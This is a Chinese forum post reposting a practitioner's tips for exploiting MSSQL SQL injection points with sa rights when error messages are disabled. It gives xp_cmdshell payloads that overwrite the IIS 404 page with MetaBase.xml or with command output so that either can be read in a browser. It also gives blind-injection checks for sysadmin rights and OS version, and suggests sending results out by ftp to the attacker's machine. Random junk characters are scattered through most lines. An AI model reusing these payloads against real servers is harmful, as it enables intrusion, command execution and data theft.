找回密码
 立即注册
查看: 2761|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。. S- ~9 w; X, f5 d& [: r$ e9 S2 W

2 ^+ E- ^& o" H8 j: ~. l  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。5 K) |& L- ^- F0 O& q4 }
6 ?* j  P% |, v. y) {1 d0 @
  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
; {5 @7 d" ]8 x+ s
4 i8 b/ @8 ^# H- R  |, Q9 y  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
0 q2 M' N, }! h& @: F) G4 k) W0 K! I4 C
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
0 d+ F5 M% V; H% _* n) C" O* A5 w; ?+ _2 z% [
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
2 C: ~! Y% Q8 h( t( v
; L/ r8 d3 q. _- A: A7 r* s  执行命令得到回显% K. E! h4 v! d0 j4 x* N' s2 \% q; I! P. B

, d5 {+ Z! B8 D" S: b  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
" N7 N( U# E9 G+ Z) g" T0 Z+ v8 K& s% |  g! S( h  G
  得到文件也shi相同,把文件copy到404b.htm就行了
& B7 t3 j* J/ w# q- ]) A0 x3 s) \- g, h4 ~
  by 28ice, 2008/6/26
) ?, r9 @9 h! v$ t: j, a4 n; A. l: c7 t% D9 L- W
  摘自 28度的冰
; b' y4 [* p; V6 f# W) Y& F" y3 |, \/ U
  盲注判断权限和操作系统版本' a0 G  G4 |0 J3 q, l

; i2 i, e8 \0 z) e* Y$ h  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?. \6 s7 w, G( c# @2 u( y
5 U/ u4 z8 d' R; p: Y
  最简单的,可能以用这样的方法:) }/ u8 i# f+ w+ h1 T$ \
7 a' f! {/ ?9 N1 I3 A1 Q" O: _
  1=(select IS_SRVROLEMEMBER(’sysadmin’))3 \( n5 A8 f: [/ ~, j2 y

% B0 K2 I" i% Q( t  当然,有些情况下,这个方法并不奏效。
; m5 ]3 A3 n3 s0 c; r6 C1 @. P
1 g+ v3 O; A2 N7 W  s) y! k  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
, E. V  W- Y, y# k4 \/ L7 v) N
  i- X* ?5 F7 X6 V+ M8 }  有个3办法可能以解决这个问题
5 [- [, r5 O2 h  V- d% \. F9 ~. v: h8 M8 h$ Y8 v, d4 Q. ?
  a.把执行结果写到404b.htm,具体请看我的上一篇文章: ]( H' J& |9 \# h, M
% `1 g8 O! v$ [4 u- ^( t. ~! K- D
  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟; k" ]4 M/ G* x' G. m; I
) T5 Y& w9 j; g5 o9 n2 M) G' K
  c.如果1433端口可能以连接,那干脆新建个sql登录
0 M$ k8 i3 x8 e' p# a# a. f* e- V
: D+ N, K0 s) }( p* S  b4 P  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数5 I9 g0 n2 f" o% ]6 V0 D
6 q& G( u, _* y/ E
  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下+ s0 u. E3 z+ Z7 {* q  \

  p5 s5 ~/ a2 r0 O5 ]  很简单2 ?0 ~0 n5 H; T6 s7 N
3 N" Q( P# |, w$ V8 k4 }
  执行systeminfo6 N8 d$ }! t8 U' c5 T+ P' k. B8 t
. m0 n7 |: X" k% A: {5 @
  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表